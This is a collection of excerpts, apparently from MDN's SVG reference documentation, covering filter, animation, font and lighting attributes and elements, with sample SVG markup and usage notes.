this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0.3" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0...
kernelMatrix - SVG: Scalable Vector Graphics
only one element is using
this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 1 0 0 0 0 0 0 -1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="-1 0 0 0 0 0 0 0 1"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_...
kernelUnitLength - SVG: Scalable Vector Graphics
three elements are using
this attribute: <feconvolvematrix>, <fediffuselighting>, and <fespecularlighting> feconvolvematrix for the <feconvolvematrix>, kernelunitlength indicates the intended distance in current filter units (i.e., units as determined by the value of primitiveunits attribute) between successive columns and rows, respectively, in the kernelmatrix.
kerning - SVG: Scalable Vector Graphics
font: 36px verdana, helvetica, arial, sans-serif; } <svg viewbox="0 0 150 125" xmlns="http://www.w3.org/2000/svg"> <text x="10" y="30" kerning="auto">auto</text> <text x="10" y="70" kerning="0">number</text> <text x="10" y="110" kerning="20px">length</text> </svg> usage notes value auto | <length> default value auto animatable yes auto
this value indicates that the spacing between glyphs is adjusted based on kerning tables that are included in the font that will be used.
keyTimes - SVG: Scalable Vector Graphics
four elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="...
lengthAdjust - SVG: Scalable Vector Graphics
four elements are using
this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="300" height="150" xmlns="http://www.w3.org/2000/svg"> <g font-face="sans-serif"> <text x="0" y="20" textlength="300" lengthadjust="spacing"> stretched using spacing only.
lighting-color - SVG: Scalable Vector Graphics
two elements are using
this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="white"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="blue"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselight...
limitingConeAngle - SVG: Scalable Vector Graphics
only one element is using
this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="spotlight1" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffuseconstant="2"> <fespotlight x="10" y="10" z="50" pointsatx="100" pointsaty="100" limitingconeangle="10" /> </fediffuselighting> </filter> <filter id="spotlight2" x="0" y="0" width="100%" height="100%"> <...
local - SVG: Scalable Vector Graphics
only one element is using
this attribute: <color-profile> usage notes value <string> default value none animatable no <string>
this value specifies the unique id for a locally stored color profile as specified by international color consortium.
mathematical - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no <number>
this value indicates the alignment coordinate for the glyphs.
max - SVG: Scalable Vector Graphics
five elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" max="6s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" max="6s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value none animatable no <clock-value> specifies...
media - SVG: Scalable Vector Graphics
only one element is using
this attribute: <style> html, body, svg { height: 100%; } <svg viewbox="0 0 240 220" xmlns="http://www.w3.org/2000/svg"> <style> rect { fill: black; } </style> <style media="all and (min-width: 600px)"> rect { fill: seagreen; } </style> <text y="15">resize the window to see the effect</text> <rect y="20" width="200" height="200" /> </svg> usage notes value <media-query-list> default value all animatable yes <media-query-list>
this value holds a media query that needs to match in order for the style sheet to be applied.
min - SVG: Scalable Vector Graphics
five elements are using
this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" min="2s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" min="2s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes value <clock-value> default value 0 animatable no <clock-value> specifies th...
mode - SVG: Scalable Vector Graphics
only one element is using
this attribute: <feblend> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="blending1" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="multiply"/> </filter> <filter id="blending2" x="0" y="0" width="100%" height="100%"> <feflood result="floodfill" x="0" y="0" width="100%" height="100%" flood-color="seagreen" flood-opacity="1"/> <feblend in="sourcegraphic" in2="floodfill" mode="color-dodge"/> </filter> <image xlink:href="//developer...
numOctaves - SVG: Scalable Vector Graphics
only one element is using
this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="1" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" numoctaves="3" /> </filter> <r...
onclick - SVG: Scalable Vector Graphics
thirty-seven elements are using
this attribute: <a>, <altglyph>, <animate>, <animatemotion>, <animatetransform>, <circle>, <defs>, <desc>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <lineargradient>, <marker>, <metadata>, <mpath>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <script>, <set>, <stop>, <style>, <svg>, <switch>, <symbol>, <text>, <textpath>, <title>, <tref>, <tspan>, <use>, <view> html, body, svg { height: 100%; margin: 0; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <circle cx="100" cy="100" r="100" onclick="alert('you have clicked the circle.')" /> </svg> usage notes value <anything> default value none ...
origin - SVG: Scalable Vector Graphics
only one element is using
this attribute: <animatemotion> context notes value default default value default animatable no specifications specification status comment svg animations level 2the definition of 'origin' in that specification.
overflow - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <foreignobject>, <iframe>, <image>, <marker>, <pattern>, <symbol>, <svg>, and <text> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg" overflow="auto"> <text y="20">
this text is wider than the svg, so there should be a scrollbar shown.</text> </svg> usage notes value visible | hidden | scroll | auto default value visible animatable yes for a description of the values, please see the css overflow property.
paint-order - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following ten elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, and <tspan> usage notes value normal | [ fill || stroke || markers ] default value normal animatable yes normal
this value indicates that the fill will be painted first, then the stroke, and finally the markers.
patternTransform - SVG: Scalable Vector Graphics
only one element is using
this attribute: <pattern> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- apply a transform on the tile --> <pattern id="p1" width=".25" height=".25" patterntransform="rotate(20) skewx(30) scale(1 0.5)"> <circle cx="10" cy="10" r="10" /> </pattern> <!-- apply the transformed pattern tile --> <rect x="10" y="10" width="80" height="80" fill="url(#p1)" /> </svg> pattern for <pattern>, patterntransform defines a list of transform definitions that are applied to a pattern tile.
points - SVG: Scalable Vector Graphics
two elements are using
this attribute: <polyline>, and <polygon> html,body,svg { height:100% } <svg viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> <!-- polygon is a closed shape --> <polygon stroke="black" fill="none" transform="translate(100,0)" points="50,0 21,90 98,35 2,35 79,90"/> <!-- it is usualy considered best practices to separate a x and y coordinate with a comma and a group of coordinates by a...
pointsAtX - SVG: Scalable Vector Graphics
only one element is using
this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsatx="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200...
pointsAtY - SVG: Scalable Vector Graphics
only one element is using
this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="60" y="60" z="50" pointsaty="400" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200...
pointsAtZ - SVG: Scalable Vector Graphics
only one element is using
this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="lighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fespotlight x="100" y="100" z="50" pointsatz="0" /> </fediffuselighting> </filter> <filter id="lighting2" x="0" y="0" width="100%" height="100%"> ...
refX - SVG: Scalable Vector Graphics
two elements are using
this attribute: <marker> and <symbol> marker for <marker>, refx defines the x coordinate of the marker’s reference point, which is to be placed exactly at the marker’s position on the shape.
refY - SVG: Scalable Vector Graphics
two elements are using
this attribute: <marker> and <symbol> marker for <marker>, refy defines the y coordinate of the marker’s reference point, which is to be placed exactly at the marker’s position on the shape.
seed - SVG: Scalable Vector Graphics
only one element is using
this attribute: <feturbulence> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="noise1" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="0" /> </filter> <filter id="noise2" x="0" y="0" width="100%" height="100%"> <feturbulence basefrequency="0.025" seed="100" /> </filter> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise1);" /> <rect x="0" y="0" width="200" height="200" style="filter:url(#noise2); transform: translatex(220px);" /> </svg> usage notes value <number> default value...
slope - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value 0 animatable no <number>
this value indicates the vertical stroke angle of the font.
specularConstant - SVG: Scalable Vector Graphics
only one element is using
this attribute: <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="specularlighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="1.2"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="specularlighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularconstant="0.8"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </fil...
specularExponent - SVG: Scalable Vector Graphics
two elements are using
this attribute: <fespecularlighting> and <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="1"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fespecularlighting in="sourcegraphic" specularexponent="5"> <fepointlight x="60" y="60" z="20" /> </fespecularlighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(...
stdDeviation - SVG: Scalable Vector Graphics
only one element is using
this attribute: <fegaussianblur> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="gaussianblur1"> <fegaussianblur stddeviation="1" /> </filter> <filter id="gaussianblur2"> <fegaussianblur stddeviation="5" /> </filter> <filter id="gaussianblur3" x="-30%" y="-30%" width="160%" height="160%"> <fegaussianblur stddeviation="10" /> </filter> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur1);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur2); transform: translatex(140px);" /> <circle cx="100" cy="100" r="50" style="filter: url(#gaussianblur3); transform: tr...
stop-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following element: <stop> usage notes value <opacity-value> default value 1 animatable yes <opacity-value>
this value is either a <number> between 0 and 1 or a <percentage> value specifying the opacity of the color gradient stop.
string - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face-format> usage notes value <anything> default value none animatable no <anything>
this value specifies a list of formats that are supported by the font referenced by the parent <font-face-uri> element.
stroke-linecap - SVG: Scalable Vector Graphics
lack" stroke-linecap="square" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> </svg> browser compatibility the compatibility table on
this page is generated from structured data.
surfaceScale - SVG: Scalable Vector Graphics
two elements are using
this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" surfacescale="15"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuselighting1);" /> <r...
targetX - SVG: Scalable Vector Graphics
only one element is using
this attribute: <feconvolvematrix> usage notes value <integer> default value floor(orderx / 2) animatable yes <integer>
this value indicates the positioning in horizontal direction of the convolution matrix relative to a given target pixel in the input image.
targetY - SVG: Scalable Vector Graphics
only one element is using
this attribute: <feconvolvematrix> usage notes value <integer> default value floor(ordery / 2) animatable yes <integer>
this value indicates the positioning in vertical direction of the convolution matrix relative to a given target pixel in the input image.
u1 - SVG: Scalable Vector Graphics
two elements are using
this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]#
this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible first glyphs in a kerning pair.
u2 - SVG: Scalable Vector Graphics
two elements are using
this attribute: <hkern> and <vkern> context notes value [ <character> | <urange> ]# default value none animatable no [ <character> | <urange> ]#
this value indicates a comma-separated sequence of unicode characters and/or ranges of unicode characters, which identify a set of possible second glyphs in a kerning pair.
unicode-range - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <urange># default value none animatable no <urange>#
this value is a comma-separated list of iso 10646 characters possibly covered by the glyphs in the font.
v-alphabetic - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'v-alphabetic' in that specification.
v-hanging - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no <number>
this value indicates the alignment coordinate for the glyphs to achieve hanging baseline alignment.
v-ideographic - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no <number>
this value indicates the alignment coordinate for the glyphs.
v-mathematical - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no <number>
this value indicates the alignment coordinate for the glyphs.
vert-origin-x - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font> usage notes value <number> default value half of horiz-adv-x value animatable no <number>
this value indicates the x-coordinate of the origin of a glyph for vertically oriented text.
vert-origin-y - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font> usage notes value <number> default value ascent value animatable no <number>
this value indicates the y-coordinate of the origin of a glyph for vertically oriented text.
viewTarget - SVG: Scalable Vector Graphics
only one element is using
this attribute: <view> usage notes value <xml-name> default value none animatable no <xml-name>
this value specifies the name of the object associated with the view.
x-height - SVG: Scalable Vector Graphics
only one element is using
this attribute: <font-face> usage notes value <number> default value none animatable no <number>
this value indicates the height of lowercase glyphs.
xlink:type - SVG: Scalable Vector Graphics
twentytwo elements are using
this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use> usage notes value simple default value simple animatable no simple
this value specifies that the referred resource is a simple link.
z - SVG: Scalable Vector Graphics
two elements are using
this attribute: <fepointlight> and <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic"> <fepointlight x="60" y="60" z="10" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> ...
<a> - SVG: Scalable Vector Graphics
see warning below */ svg|a:link, svg|a:visited { cursor: pointer; } svg|a text, text svg|a { fill: blue; /* even for text, svg uses fill over color */ text-decoration: underline; } svg|a:hover, svg|a:active { outline: dotted 1px blue; } since
this element shares its tag name with html's <a> element, selecting a with css or queryselector may apply to the wrong kind of element.
<altGlyphDef> - SVG: Scalable Vector Graphics
usage context categoriestext content elementpermitted contenteither: one or more <glyphref> elements, or one or more <altglyphitem> elements attributes global attributes core attributes specific attributes none dom interface
this element implements the svgaltglyphdefelement interface.
<altGlyphItem> - SVG: Scalable Vector Graphics
usage context categoriestext content elementpermitted contentone or more <glyphref> elements example attributes global attributes core attributes specific attributes none dom interface
this element implements the svgaltglyphitemelement interface.
<animate> - SVG: Scalable Vector Graphics
lue attributes calcmode, values, keytimes, keysplines, from, to, by other animation attributes most notably: attributename, additive, accumulate animation event attributes most notably: onbegin, onend, onrepeat global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes
this element implements the svganimateelement interface.
<animateTransform> - SVG: Scalable Vector Graphics
olygon> </svg> live sample attributes global attributes conditional processing attributes » core attributes » animation event attributes » xlink attributes » animation attribute target attributes » animation timing attributes » animation value attributes » animation addition attributes » externalresourcesrequired specific attributes by from to type dom interface
this element implements the svganimatetransformelement interface.
<color-profile> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes core attributes » xlink attributes » specific attributes local name rendering-intent xlink:href dom interface
this element implements the svgcolorprofileelement interface.
<desc> - SVG: Scalable Vector Graphics
</desc> </circle> </svg> attributes
this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status comment scalable vector graphics ...
<feComponentTransfer> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<fefunca>, <fefuncr>, <fefuncb>, <fefuncg> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in dom interface
this element implements the svgfecomponenttransferelement interface.
<feConvolveMatrix> - SVG: Scalable Vector Graphics
2+1) usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in order kernelmatrix divisor bias targetx targety edgemode kernelunitlength preservealpha dom interface
this element implements the svgfeconvolvematrixelement interface.
<feDistantLight> - SVG: Scalable Vector Graphics
usage context categorieslight source elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes specific attributes azimuth elevation dom interface
this element implements the svgfedistantlightelement interface.
<feFlood> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <animatecolor>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes flood-color flood-opacity dom interface
this element implements the svgfefloodelement interface.
<feFuncA> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface
this element implements the svgfefuncaelement interface.
<feFuncB> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface
this element implements the svgfefuncbelement interface.
<feFuncG> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface
this element implements the svgfefuncgelement interface.
<feFuncR> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes transfer function attributes specific attributes none dom interface
this element implements the svgfefuncrelement interface.
<feGaussianBlur> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in stddeviation edgemode dom interface
this element implements the svgfegaussianblurelement interface.
<feImage> - SVG: Scalable Vector Graphics
rized.) usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <animatetransform>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes xlink attributes class style externalresourcesrequired specific attributes preserveaspectratio xlink:href dom interface
this element implements the svgfeimageelement interface.
<feMergeNode> - SVG: Scalable Vector Graphics
rgenode in="sourcegraphic" /> </femerge> </filter> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green; filter: url(#feoffset);" /> <rect x="40" y="40" width="100" height="100" style="stroke: #000000; fill: green;" /> </svg> result attributes global attributes core attributes » specific attributes in dom interface
this element implements the svgfemergenodeelement interface.
<feMorphology> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in operator radius dom interface
this element implements the svgfemorphologyelement interface.
<feOffset> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in dx dy dom interface
this element implements the svgfeoffsetelement interface.
<fePointLight> - SVG: Scalable Vector Graphics
usage context categorieslight source elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes specific attributes x y z dom interface
this element implements the svgfepointlightelement interface.
<feSpotLight> - SVG: Scalable Vector Graphics
usage context categorieslight source elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes specific attributes x y z pointsatx pointsaty pointsatz specularexponent limitingconeangle dom interface
this element implements the svgfespotlightelement interface.
<feTile> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes in dom interface
this element implements the svgfetileelement interface.
<feTurbulence> - SVG: Scalable Vector Graphics
usage context categoriesfilter primitive elementpermitted contentany number of the following elements, in any order:<animate>, <set> attributes global attributes core attributes presentation attributes filter primitive attributes class style specific attributes basefrequency numoctaves seed stitchtiles type dom interface
this element implements the svgfeturbulenceelement interface.
<filter> - SVG: Scalable Vector Graphics
ontext categoriesnonepermitted contentany number of the following elements, in any order:descriptive elementsfilter primitive elements<animate>, <set> attributes global attributes core attributes presentation attributes xlink attributes class style externalresourcesrequired specific attributes x y width height filterres filterunits primitiveunits xlink:href dom interface
this element implements the svgfilterelement interface.
<font-face-format> - SVG: Scalable Vector Graphics
usage context categoriesfont elementpermitted contentempty attributes global attributes core attributes specific attributes string dom interface
this element implements the svgfontfaceformatelement interface.
<font-face-uri> - SVG: Scalable Vector Graphics
usage context categoriesfont elementpermitted contentany number of the following elements, in any order:<font-face-format> attributes global attributes core attributes xlink attributes specific attributes xlink:href dom interface
this element implements the svgfontfaceurielement interface.
<font-face> - SVG: Scalable Vector Graphics
nt-stretch font-size unicode-range units-per-em panose-1 stemv stemh slope cap-height x-height accent-height ascent descent widths bbox ideographic alphabetic mathematical hanging v-ideographic v-alphabetic v-mathematical v-hanging underline-position underline-thickness strikethrough-position strikethrough-thickness overline-position overline-thickness dom interface
this element implements the svgfontfaceelement interface.
<font> - SVG: Scalable Vector Graphics
font elementpermitted contentany number of the following elements, in any order:descriptive elements<font-face>, <glyph>, <hkern>, <missing-glyph>, <vkern> attributes global attributes core attributes presentation attributes class style externalresourcesrequired specific attributes horiz-origin-x horiz-origin-y horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface
this element implements the svgfontelement interface.
<g> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- using g to inherit presentation attributes --> <g fill="white" stroke="green" stroke-width="5"> <circle cx="40" cy="40" r="25" /> <circle cx="60" cy="60" r="25" /> </g> </svg> attributes
this element only includes global attributes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, graphical event attributes presentation attributes most notably: clip-path, clip-rule, color, color-interpolation, color-renderi...
<glyph> - SVG: Scalable Vector Graphics
, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y unicode glyph-name orientation arabic-form lang dom interface
this element implements the svgglyphelement interface.
<glyphRef> - SVG: Scalable Vector Graphics
usage context categoriestext content elementpermitted contentempty attributes global attributes core attributes » presentation attributes » xlink attributes » class style specific attributes x y dx dy glyphref format xlink:href dom interface
this element implements the svgglyphrefelement interface.
<hatch> - SVG: Scalable Vector Graphics
dered element, paint server elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements<hatchpath>, <script>, <style> attributes global attributes core attributes global event attributes presentation attributes style attributes specific attributes x y pitch rotate hatchunits hatchcontentunits transform href dom interface
this element implements the svghatchelement interface.
<hatchpath> - SVG: Scalable Vector Graphics
usage context categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elements<script>, <style> attributes global attributes core attributes global event attributes presentation attributes style attributes specific attributes d offset dom interface
this element implements the svghatchpathelement interface.
<metadata> - SVG: Scalable Vector Graphics
usage context categoriesdescriptive elementpermitted contentany elements or character data attributes global attributes core attributes global event attributes specific attributes none dom interface
this element implements the svgmetadataelement interface.
<missing-glyph> - SVG: Scalable Vector Graphics
ementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> attributes global attributes core attributes presentation attributes class style specific attributes d horiz-adv-x vert-origin-x vert-origin-y vert-adv-y dom interface
this element implements the svgmissingglyphelement interface.
<mpath> - SVG: Scalable Vector Graphics
usage context categoriesanimation elementpermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes core attributes » xlink attributes » externalresourcesrequired specific attributes xlink:href dom interface
this element implements the svgmpathelement interface.
<polyline> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- example of a polyline with the default fill --> <polyline points="0,100 50,25 50,75 100,0" /> <!-- example of the same polyline shape with stroke and no fill --> <polyline points="100,100 150,25 150,75 200,0" fill="none" stroke="black" /> </svg> attributes points
this attribute defines the list of points (pairs of x,y absolute coordinates) required to draw the polyline value type: <number>+ ; default value: ""; animatable: yes pathlength
this attribute lets specify the total length for the path, in user units.
<set> - SVG: Scalable Vector Graphics
